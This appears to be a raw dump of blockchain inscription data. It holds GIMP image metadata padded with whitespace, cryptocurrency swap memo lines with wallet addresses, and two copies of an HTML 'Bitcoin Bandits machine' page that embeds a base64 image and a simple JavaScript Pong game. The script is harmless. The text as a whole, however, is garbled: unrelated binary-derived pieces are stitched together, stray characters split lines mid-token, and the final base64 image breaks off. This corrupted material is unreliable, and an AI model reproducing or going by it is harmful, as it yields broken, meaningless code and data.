:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:48:57+11:00" xmp:ModifyDate="2023:02:15T10:48:57+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:5c53bd9c-5194-4d20-9852-c5428f263f3a" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:48:58"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumM
entID="gimp:docid:gimp:83cfbf46-2cfe-47c2-a3de-15c2b5d37d51" xmpMM:InstanceID="xmp.iid:c5c6b10f-f997-48ee-868b-24a66a69ad7a" xmpMM:OriginalDocumentID="xmp.did:67d1bc91-4d61-4abf-9f68-da22e9be9fc2" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418552555105" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:49:11+11:00" xmp:ModifyDate="2023:02:15T10:49:11+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changM
ed="/" stEvt:instanceID="xmp.iid:f9c4cccc-82a1-4661-905c-4e471de7ce2e" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:49:12"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                              M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                           <?xpacket end="w"?>h!
DjB=:ETH.ETH:0xbDAAf182F10086f87038cb045481933feE23c3Ab:43560797:te:0
FjDOUT:9FA5A584236510C0FB508DE5228716C02EE27158FB2C7FEAFFA9A36C2C2E5D55
CjA=:BNB.BNB:bnb17lqqz4ule6j5m7xpzfly5vu70yl4tp65yq6yv2:4635399:te:0
FjDOUT:B4D3556C5A812F66D29CA056836CCD2181010F977AF85EE013B3D50F5898A03C
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body>M
<script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dM
y:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,lM
eftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ballM
,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.L
dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
